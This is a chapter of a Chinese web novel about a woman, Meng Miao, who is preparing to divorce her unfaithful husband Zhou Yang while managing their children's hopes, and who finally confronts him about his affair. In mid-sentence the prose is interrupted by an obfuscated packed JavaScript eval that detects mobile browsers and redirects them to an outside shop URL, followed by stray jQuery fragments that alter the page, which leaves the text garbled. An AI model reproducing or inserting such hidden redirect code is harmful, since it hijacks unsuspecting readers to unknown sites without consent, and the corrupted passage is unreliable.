孟苗知道孩子们希望听到什么答案,但她给不了,现在说出来对满怀期待的孩子过于残忍,等一等再告诉他们吧!
至少让他们欢欢喜喜吃完这顿团圆饭。
“这个啊!”孟苗顿了顿,避开直接回答,“我当然不会恨你们的爸爸,因为他是你们的爸爸啊!”
两个孩子闻言松了一口气,周雪欢喜地跑到厨房催促周扬:“爸爸,你动作快点儿,妈妈肚子饿了。”
“好嘞!”
周扬一直竖着耳朵偷听,语气轻松下来。
周琦煞有介事的点了点头:“嗯,就算妈妈大度,爸爸也必须受到惩罚才行,犯错就要惩罚,赶走坏女人是他应该做的,不算惩罚。”
他绞尽脑汁想着如何惩罚周扬去了,周雪催促完周扬,也跟着周琦跑到客厅边的小书房里嘀嘀咕咕。
不到一分钟周雪跑过来问:“妈,你觉得极刑好还是缓刑好?”
把孟苗吓了一大跳:“周雪,你太极端了。极刑可使不得,呸呸呸,缓刑也使不得,犯法的。”
这孩子知道极刑的意思吗?
孟苗怀疑。
周琦追着妹妹出来,急忙解释:“意思是给爸爸一次严重的惩罚,还是分阶段缓慢惩罚。”
从厨房探出头的周扬闻言把脑袋缩了回去。
孟苗悄悄松了一口气,郑重地对周雪说:“小雪,改天妈妈给你买一套蓝猫淘气三千问,你没事多看看。”
电视上播出过,周雪也跟着看了,看样子根本没走心,学到了一些词汇被张冠李戴。
这孩子从小喜欢看打打杀杀的东西。
“我想要虹猫蓝兔七侠传的碟子和漫画,小说也行。”比起蓝猫淘气三千问,周雪更喜欢虹猫蓝兔七侠传,动画片她断断续续看完了,漫画也买了几本,但碟子和小说还没有。
换以前,孟苗不会给周雪买。
周雪的零花钱在小学生中不算少,零食漫画都是她自己用零花钱买,自己计划。
可现在只要想到马上就要和周扬离婚,周雪成为单亲家庭的孩子,孟苗就忍不住答应了下来。
看着因此欢呼雀跃的女儿,再看看皱着眉头若有所思的儿子,孟苗知道周琦肯定起了疑心,她没有急着去否认给孩子安全感。
等忙完学区房和户口的事她就会离婚,现在的承诺是骗孩子,更伤人。
因为不想影响到孩子的成绩,她也考虑过要不要等到周琦小升初考试结束后再离,但很清楚,她无法再和周扬住在一起装成没有离婚的样子。
孟苗叹了一口气,算了,走一步看一步,只要户口能够转到兵一学区一次考试成绩其实也没那么重要了。
幸好,她还有钱。
餐桌上,孟苗和周扬心思南辕北辙,在两个孩子的维护下也算和睦。
吃完饭,周扬自觉去洗碗,两个孩子赶紧说去写作业跑上楼,把空间留给两人。
孩子们似乎认为只要两人好好相处一下就会恢复如初。
“你洗完碗来一趟,我们谈谈。”孟苗率先进了一楼的小书房,虚掩上门,周扬洗碗洗了一个小时,要不是没有听到大门开合的声音孟苗都以为他走了。
一开始,孟苗还能一边想接下来的话一边等,后来干脆抽出一本看了好几遍的拿破仑传随手翻到一页,那一页却写着:和平并不符合我的利益。
弄得孟苗没有心情往下看。
合上书,将书扔在书桌上,孟苗闭目,几人的关系像网一样缠绕在一起。
“呵,妥协也不符合我的利益,因为我就是一个用人不疑疑人不用的人啊!我没办法再相信他,如果始终对身后的人抱有怀疑我无法真正前进。可我必须一直前进。”
这时,周扬小心地推门进来了。
“碗都洗了,碗底和锅底都刷了,抽油烟机也擦了,哦,还有橱柜都擦了一遍……”周扬一一汇报,解释他为什么洗个碗要耗时一个小时。
孟苗耐心地等他说完,问:“你还有其他话想和我说吗?”
周扬卡顿住,好半天才开口:“我知道,都是我的错。”
“没有解释
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837678|211516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吗?我以为你会狡辩一二。”孟苗淡淡地,“现在再来一套你错了,指望我因此认为你的做法是勇于认错而原谅你也太晚了。”
周扬的脸涨得通红。
“你想听什么?”
“什么都行,随便说说吧!”
“呵,你在录音?”周扬质疑,看向桌子上的手机。
孟苗把手机给他看:“我只想和你坦诚地谈一谈,原来不知什么时候开始你对我防范心已经如此重了。”
手机页面干干净净,录音设备根本没有打开,周扬眼神飘忽,不敢看孟苗。
周扬不说话,孟苗也不说,静静地看着他,直到周扬受不了主动开口:“你一直都这样。”
孟苗面无表情。
周扬激动起来:“你一直都这样,你明明已经猜出来事情起因和经过,为什么非要我自我剖析,我不想把自己分析得那么透,糊涂一天是一天不好吗?”
“周扬!”孟苗提高音量压住周扬,“你不是坏人,你这个人根本坏不起来,但你不能永远躲在壳里。我不想猜你,我要你告诉我为什么,真正的原因。你不是三心二意朝秦暮楚的人。”
“不用给我戴高帽,你不就是想让我亲口告诉你,我比你差远了。没有你,我一个人根本玩不转公司,我这个人没本事又虚荣,好不容易掌管了公司却维持不下去,不想在你面前丢面子,不想让市场上其他人说周扬他没有孟苗不行,所以我找了钱丽,够了吧!”
果然如此!
孟苗心里轻轻叹了一口气。
周扬把肚子里憋的话一股脑儿说完,一屁股瘫坐在书房的单人沙发上,捂着脸,似哭似笑低哑地嘀咕:“我就是个没出息的孬种……你太狠心,为什么非要我说出来,非要我承认?”
孟苗没有安慰周扬,这是每个人必须经历——认清自我。
周扬42岁才认清自我,已经很晚了。
不过周扬接下来的话让她脸色猛然一变。
“如果没有孩子就好了,你不会离开公司,我也不会为了面子……”